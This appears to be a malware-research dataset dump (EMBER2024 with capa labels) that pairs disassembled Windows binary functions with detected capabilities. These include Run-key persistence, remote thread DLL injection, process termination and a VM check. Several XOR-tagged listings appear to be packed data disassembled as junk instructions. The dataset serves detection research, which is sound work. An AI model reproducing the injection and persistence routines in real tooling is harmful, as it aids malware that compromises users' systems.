joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100123e7
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002d2cf
call fcn.10016fd1
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.10020cc1
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x10012492
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.10020cc1
mov ecx, dword [esi]
test al, al
je 0x10012474
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10020cc1
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x1001248b
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.10020cc1
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009bb3
cmp dword [ebx + 0x24], 0
je 0x100124b2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.10020cc1
test al, al
je 0x100124b2
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016f9a
ret
Function at 0x100133d0
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002d3b0
call fcn.10017005
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
cmp dword [ebx + 8], 0
je 0x100133fb
mov eax, reloc.oleaut32.dll_VariantCopyInd
jmp 0x10013586
mov eax, dword [ebx - 0xc]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1002f4d0]
lea ecx, [ebx - 0xc]
call esi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
jne 0x1001341f
mov eax, 0x80004005
jmp 0x10013586
mov edx, dword [ebp + 0x10]
mov esi, reloc.oleaut32.dll_SysReAllocString
mov eax, edx
and eax, esi
cmp eax, esi
push dword [ebp - 0x21c]
sete al
mov byte [ecx + 0x31], al
lea ecx, [esi + 2]
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x32], cl
lea eax, [esi + 6]
and edx, eax
cmp edx, eax
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [ebx + 0x14]
add ecx, 0x28
call fcn.10020cc1
mov edi, dword [ebx + 0x14]
mov eax, dword [edi]
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, edi
call esi
push eax
lea ecx, [ebp - 0x220]
call fcn.10020cc1
xor esi, esi
lea ecx, [ebp - 0x220]
push str.Excel.Application
mov dword [ebp - 4], esi
call fcn.10020cc1
test al, al
je 0x1001355e
push 0x208
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.100194b0
mov edi, dword [ebp - 0x21c]
push 0x5c
push edi
call fcn.10020cc1
add esp, 0x14
test eax, eax
jne 0x100134d8
push 0x2f
push edi
call fcn.10020cc1
pop ecx
pop ecx
test eax, eax
je 0x100134f8
add eax, 2
push 0x2e
push eax
call fcn.10020cc1
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.10020cc1
add esp, 0x14
cmp word [ebp - 0x218], si
je 0x10013557
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.10020cc1
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10013549
lea eax, [ebp - 0x218]
push eax
call fcn.10020cc1
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001354f
push edi
call fcn.10020cc1
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x1001356f
mov esi, 0x80004005
jmp 0x10013578
mov ecx, dword [ebx + 0x14]
push dword [ebp - 0x21c]
add ecx, 0x24
call fcn.10020cc1
push eax
lea ecx, [ebx + 0x10]
call fcn.10020cc1
push dword [ebp - 0x220]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, esi
call fcn.10016faf
ret 0xc
Function at 0x10013c40
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002d483
call fcn.10017005
mov ebx, ecx
xor ecx, ecx
lea edi, [ebx + 0x40]
mov esi, ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
cmp dword [edi], ecx
je 0x10013d7c
push 0x10
push ecx
lea eax, [ebp - 0x828]
push eax
call fcn.100194b0
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantClear]
push esi
push str.Caption
push dword [edi]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], esi
push eax
push 2
push ebx
call fcn.10020cc1
add esp, 0x18
test eax, eax
jne 0x10013ce1
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.10020cc1
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.user32.dll_FindWindowW]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
lea ecx, [ebp - 0x818]
push ecx
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
mov esi, eax
test esi, esi
js 0x10013d20
cmp dword [ebp - 0x818], 0
jne 0x10013d20
push 0
push str.Quit
push dword [edi]
push 0
push 1
push ebx
call fcn.10020cc1
add esp, 0x18
mov esi, eax
mov ecx, edi
call fcn.10009bb3
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
mov eax, dword [ebp - 0x814]
test eax, eax
je 0x10013d7c
cmp dword [ebp - 0x818], 0
jne 0x10013d7c
test esi, esi
jns 0x10013d7c
and dword [ebp - 0x814], 0
lea ecx, [ebp - 0x814]
push ecx
push eax
call dword [sym.imp.user32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x814]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, esi
call fcn.10016faf
ret
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.10020cc1
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret
Function at 0x40c6c0
Capabilities:
Encode data using xor

Disassembly:
xor eax, edx
mov edx, 0xa0af5618
in eax, dx
inc ebp
cmc
fucomp st(1)
int 0x32
add eax, 0xcb9719c1
insb byte es:[edi], dx
scasb al, byte es:[edi]
jae 0x40c698
sbb byte [esi - 0x51], dl
mov al, byte [0xddf545ed]
jmp 0xc145f8ee
mov edi, 0xa949ee96
test dword [ebp + 0x1fd50ccd], eax
and dword [ebp + 0xe18f156], ebp
ja 0x40c614
dec ebx
insd dword es:[edi], dx
daa
sar dword ds:[0x9b851869], cl
call 0x5b3ed139
mov ecx, gs
fld qword [ebp - 0x1a986993]
dec eax
jp 0x40c6bf
add eax, 0xc5de0906
or ah, dl
xor eax, 0xb8e53f1d
loop 0x40c6b1
stosd dword es:[edi], eax
xor dword [eax], esp
cmpsd dword [esi], dword es:[edi]
lds eax, [eax + 0x6cc8ae16]
and ch, dl
push ss
scasb al, byte es:[edi]
enter 0x206c, 0xffffffffffffffd5
aad 0xf8
ror dword [ebx + 0x44], 0xdd
or bh, dl
invalid
mov edx, 0x69c64e1a
invalid
xchg esp, eax
inc ecx
sub ebp, dword fs:[esi + 0x16]
adc edx, edx
ret 0xfcf5
adc ah, 0xd5
cmp dl, ch
push esi
movsd dword es:[edi], dword [esi]
xor edi, dword [ecx + edx*8 + 0x6e]
movsb byte es:[edi], byte [esi]
sbb esp, ebp
fild dword [0x49d3ee71]
ror byte [ebx], 1
sahf
xor eax, 0x8deb556d
adc bh, byte [ebx - 0x5085dafc]
pop edi
in eax, 0xce
add byte [esp], al
jl 0x40c6d4
jmp 0x40c669
cdq
add al, 0xc4
or al, bh
mov ch, 0x28
int 0xf2
clc
xchg esp, eax
movsd dword es:[edi], dword [esi]
cwde
and ebp, ebp
push 0x4b107b69
xchg edi, eax
inc esi
push cs
pop esi
jns 0x40c6da
salc
fisttp qword [edi]
popal
salc
fst qword [ebp + 0xc1d09ea]
jno 0x40c6b0
jmp 0x40c703

Function at 0x438670
Capabilities:
Encode data using xor

Disassembly:
daa
fiadd word [ebx + 0x2a]
inc edi
bound ebp, qword [0x7be7136b]
lodsb al, byte [esi]
push ebx
xchg dword [esi + eax*2 + 0x62], eax
xor dword [ecx + ecx*4 + 0x46dd4aa7], ebp
rcl ah, 1
fild dword [edx]
test eax, 0x936305ca
aad 0x48
imul ebp, dword [ebp + 0x148085d], 0x9f42ddf7
jle 0x43867d
sub bl, byte [ebx]
shl byte [ecx + 0xe], 0x2d
push edx
into
add ch, byte [0x5ce97d83]
mov ebp, 0x9ded2b4
sti
and dword [ebp + 0x21], edi
inc ebx
neg byte [ebx]
add bh, dh
ret

Function at 0x441768
Capabilities:
Encode data using xor

Disassembly:
push bx
push ebx
and al, 0x2f
xor eax, 0x7ca22d1e
mov cl, 0xf4
popal
mov eax, 0x1983a5db
mov cl, pe_nt_image_headers32
mov dword [0x75d9fed], eax
dec edi
mov edx, 0xbbc8a6de
rol dword [ebx - 0x2f3cd0b5], cl
push eax
jb 0x441769
and edx, dword [edi - 0x7e23a0c7]
cmp bh, byte [esi - 0x3a]
pop esp
stosb byte es:[edi], al
das
xchg ebp, eax
adc edx, dword [esi + 0x65b32579]
shl dword [esi], 0x5d
mov ebp, esi
xchg ecx, eax
lodsd eax, dword [esi]
stc
adc al, 0x5d
xlatb
xchg ecx, eax
xor al, 0xa5
fisubr dword [esp - 0x256ae301]
xor edi, esp
inc ecx
enter 0xffffffffffff92da, 0x5e
and dword [ecx], ebp
add byte [edi + 0x3ed10a1], bh
mov dword [esi + 0x500c63bf], esp
in eax, dx
add ecx, dword [ecx + 0xc63bfa6]
push eax
insb byte es:[edi], dx
dec esi
jbe 0x4417d1
sbb byte [eax], dh
int 0xe5
jp 0x4417c4
xor ch, cl
in eax, 0x7a
out dx, al
out 0x4d, al
inc ecx
hlt
Function at 0x44e280
Capabilities:
Encode data using xor

Disassembly:
sahf
mov esp, ds
lodsd eax, dword [esi]
or ebp, edx
mov cl, 0x6a
mov eax, 0x882f3c24
pop es
fcom qword [ebp + 0xf]
out dx, eax
xchg ecx, eax
sbb dword [eax], 0x4dc67f4b
xchg ebx, eax
jnp 0x44e30a
pop edx
int 0x83
cld
push esp
jge 0x44e29e
pop ds
inc edi
mov byte [0x8c3d3fdd], al
jo 0x44e295
add bl, byte [0xed941c01]
int3
pushal
cmp byte [eax + ebp], bl
inc edx
jno 0x44e32d
push esp
cmc
add dword [eax], 0x5d0d9dd6
push ebp
push ecx
fnstenv [ecx - 0x70704264]
stosd dword es:[edi], eax
xchg ebx, eax
lahf
adc dl, byte [esi]
dec esi
sbb eax, 0x3c818cfc
mov byte [0x5337fd97], al
xchg edi, eax
std
aaa
push ebx
scasd eax, dword es:[edi]
pushfd
test byte [ecx + 0x34], al
xor byte [edi], dh
pop ebp
mov al, 0xdf
mov byte [0xdf69dce0], al
xor byte [eax + 0x3b], dl
inc esi
add dl, ch
push esp
mov dl, 0x8c
pushfd
imul ebp, dword [ecx + 0x3cbc5b13], 0x623bdc54
jl 0x44e332
push esi
int3

Function at 0x44fc70
Capabilities:
Encode data using xor

Disassembly:
and dword [ebx + 0x644d7054], edi
add ebp, edi
movsd dword es:[edi], dword [esi]
push esi
sal eax, 1
and byte [0x3ac0227a], al
shl dword [edi - 0x753b881a], 0xb0
les ecx, [edx - 0x1e1bc950]
les ecx, [edx - 0x1e1bc950]
xor esp, dword [edx]
pop ecx
mov edx, 0x569bb30f
push esi
dec esp
stosd dword es:[edi], eax
shl dword [edx + 0x31], 0x8c
and ebp, dword [edi]
daa
push cs
adc al, byte [edx]
inc ebx
xor al, 0x42
loop 0x44fc7d
xor esp, dword [ecx]
loope 0x44fc59
sal byte [edx], 0xac
push edi
jmp 0xb1b386c8
Function at 0x452a92
Capabilities:
Encode data using xor

Disassembly:
fadd qword [ebx - 3]
lcall 0xf748, 0xd666fb05
imul edx, dword [edi], 0xdf90f58a
inc ebx
sbb byte [esi - 0x259b02fe], 0x44
sti
push 0x15
mov al, 0x3e
fiadd dword fs:[edx + edi*8 + 0x64]
lcall 0xf747, 0xd866fa04
imul edx, dword [edx], 0xee6ff08d
sub byte [ecx + edi + 0x3a9e5afd], bl
mov esi, 0x7f3a9e1a
fcomp qword [ecx - 0x6fec45c2]
xor al, 0xf1
push esi
xchg edx, eax
aaa
mov bl, 0x28
pushfd
cmp byte [ebp - 0x27], bh
cwde
cmp eax, 0x359113b4
push esi
xchg ebx, eax
or byte [eax + ebx - 0x2381c564], cl
wait
xor byte [ebp - 0x33c96eec], dh
pop edx
cdq
mov edx, 0x7131951e
aad 0x93
aaa
mov word [ecx], ds
sahf
or ch, bh
pop edx
lahf
cmp al, 0xba
pop ds
wait
xor byte [ebp - 0x2f], dh
xchg ebp, eax
xor dh, byte [esi - 0xfcb68ed]
rcl dword [ebp - 0x68ec49ce]
xor al, 0xf0
push esp
xchg edx, eax
mov bl, 0x17
mov bl, 0x17
xchg ebx, eax
or byte [ecx + ebx*8 - 0x63], bh
cmp bh, byte [esi - 0x7c360e5]
pop ebp
cdq
cmp eax, 0x3e9a1eba
jnp 0x452b0f
xchg esp, eax
xor dword [esi - 0x8cc68ee], esi
push ebx
xchg edi, eax
xor esi, dword [eax + 0x7e3aac28]
ficomp dword [esi - 0x61e541c6]
cmp bh, dh
jle 0x452b1a
sahf
cmp bh, byte [esi - 0x1c561e6]
pop ebx
lahf
cmp edi, dword [edi + 0x7f3b9f1b]
fcomp qword [eax - 0x67e347c4]
cmp al, 0xf8
pop ebp
cdq
cmp eax, 0x3d991db9
jns 0x452b3e
lcall 0xfa3e, 0x9a1eba3e
pop edi
wait
aas
mov ebx, 0x4c089b1f
fcomp dword [eax + edi + 0x389c18bc]
cld
pop eax
test al, 0x39
lodsb al, byte [esi]
sbb dword [eax - 0x6217ebc7], edx
pushfd
mov ebp, 0xfdc49d98
sub byte [edx + edi + 0x3ac41a98], 0x9c
fiadd dword [eax + 8]
mov edi, 0x1904a435
cmp ah, dh
adc dword [esi - 0x5d], 0x7b4998c1
sub al, 0x9d
invalid

Function at 0x46f948
Capabilities:
Encode data using xor

Disassembly:
test eax, 0x69d3876d
stosd dword es:[edi], eax
mov esi, 0x70adbf9c
cmp dword [esi + 0x21], edx
push edi
pop es
rcr dword [esi], cl
dec ebp
hlt
dec edi
cli
xchg esi, eax
mov eax, dword [0x875ab4ea]
test byte [edx + 0x160ad2c5], cl
xchg dword [edx + ecx*4 + 0x160ad2c5], eax
les ecx, [eax]
jbe 0x46f905
adc al, 0xee
or al, 0x46
jle 0x46f8d8
aam 0xd4
pop edi
out 0xfd, eax
jle 0x46f89a
adc eax, esp
xchg edx, eax
fcmovnu st(0), st(2)
pop edi
mov ebp, 0xabf29399
invalid
mov byte [0x302ee8b7], al
mov bl, 0xe2
cmc
adc ecx, dword [esi]
sub dword [ebx], esi
cmp al, 0x54
scasd eax, dword es:[edi]
fcompi st(2)
lahf
adc ah, 0x28
cmp dword [ebx + 0x1f94ff30], esp
je 0x46f8f7
mov esp, 0x9f1c6e0a
outsb dx, byte [esi]
sbb al, 0x9f
imul esp, dword [ecx + ecx], 0x77
push esi
in al, dx
and byte [esp + esi*8], ch
jl 0x46f924
pop esp
pop eax
les edx, [edx - 0x1d]
in eax, dx
add ebp, eax
dec edi
ljmp 0x8d80
scasd eax, dword es:[edi]
push es
jge 0x46f8df
in al, 0x37
invalid
Function at 0x482c1f
Capabilities:
Check for vm using instruction vpcext
Encode data using xor

Disassembly:
jnp 0x482c71
fcomp dword [ebx]
sti
scasd eax, dword es:[edi]
retf 0xa39b
leave
pop es
mov edi, 0x78beed6
lahf
jns 0x482cb8
sar byte [ebp - 0x5e54064d], 1
outsd dx, dword [esi]
fstp st(6)
mov ebx, dword gs:[eax - 0x36]
inc eax
xor byte [ebp - 0x80], ah
mov dl, 0x4f
movsd dword es:[edi], dword [esi]
mov al, byte [0xc5f80a41]
pushal
cmp al, 0x3e
shr ebp, cl
push esi
invalid
int3
mul dword [eax + 0x3d57e5d2]
sahf
jne 0x482c9f
nop
fcom qword [ecx]
dec ecx
mov esp, ss
xor al, 0xe1
wait
push ebp
mov dword [0xe981b35c], eax
cmc
js 0x482d3f
pop edi
cmp eax, 0xd3a89b5e
push ecx
scasd eax, dword es:[edi]
wait
sar dword [esi - 0x5fe50db7], 1
out dx, al
adc cl, byte [edx - 0x3208176d]
mov bl, byte [ebp + 0x24dcf19]
dec edx
hlt
sub ebx, ebx
ja 0x482cca
invalid

Function at 0x49a20f
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x8316fdee
xchg ebp, eax
sal byte [ecx - 0x65cde45d], 0xce
push edi
je 0x49a24f
pop ecx
sub al, 0x6e
inc ecx
add eax, 0xcc815181
rol byte [edi - 0x165ba5e1], cl
jno 0x49a2ad
invalid
in eax, dx
fbld tbyte [esi + edx*2 - 0x13]
out dx, eax
fadd dword [esi + 0x17]
xchg edx, eax
xor eax, dword [eax + 0x7c]
pop ebx
add byte [eax + 0x2ce4cff], dl
nop
dec dword [esi + ecx*8 + 2]
cdq
pop es
jecxz 0x49a23f
add dword [ebx], ecx
clc
push ebx
lodsd eax, dword [esi]
ror dword [ecx + 0x68], 1
test dword [edi - 4], ebx
fcmove st(0), st(2)
imul esi, esp, 0xea7fc881
mov ch, 0x51
insd dword es:[edi], dx
mov bl, dh
cmc
dec edi
sub eax, 0xa7063342
jne 0x49a2df
cmp al, 0xae
iretd
mov eax, 0xdba64fb5
in al, dx
inc esp
in eax, dx
adc dword [ecx + edx*2 + 0x49], 0xffffffcf
dec edx
out dx, ax
fbstp tbyte [edx - 0x3c40334e]
cmp ecx, edx
test byte [ecx + 0x1d], bl
push edx
invalid
lodsb al, byte [esi]
sub bl, byte [eax + 0x64c332bd]
rol dword [ebx - 0x4b42ef3d], 1
mov al, 5
lahf
test al, 0x8f
cmpsd dword [esi], dword es:[edi]
mov byte [0xd68cc690], al
dec edi
mov cl, 0x39
int3
Function at 0x48ef30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x82000]
push edi
jmp 0x48ef4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x48ef51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48ef40
mov eax, 1
add ebx, ebx
jne 0x48ef63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48ef74
jne 0x48ef93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48ef93
dec eax
add ebx, ebx
jne 0x48ef80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x48ef58
add ebx, ebx
jne 0x48ef8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48efe5
xor ecx, ecx
sub eax, 3
jb 0x48efab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48f01a
sar eax, 1
mov ebp, eax
jmp 0x48efb6
add ebx, ebx
jne 0x48efb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48ef84
inc ecx
add ebx, ebx
jne 0x48efc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48ef84
add ebx, ebx
jne 0x48efd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48efc6
jne 0x48efe2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48efc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48f004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48eff6
jmp 0x48ef46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48f004
add edi, ecx
jmp 0x48ef46
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x48f022
cmp byte [edi], 9
jne 0x48f022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x48f027
lea edi, [esi + 0x8c000]
mov eax, dword [edi]
or eax, eax
je 0x48f09f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xffbcc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xffc94]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48f054
mov ecx, edi
jns 0x48f083
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xffc98]
or eax, eax
je 0x48f099
mov dword [ebx], eax
add ebx, 4
jmp 0x48f071
call dword [esi + 0xffca8]
mov ebp, dword [esi + 0xffc9c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48f0d3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x6d5412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x6d541337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x6d541337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x6d541337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x6d541337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d541337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x6d54137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x6d541376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x6d541376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x6d54137d
mov eax, 1
jmp 0x6d541382
mov eax, 0
leave
ret

Function at 0x6d541384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6d5414c0
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6d5415f3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6d541661
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret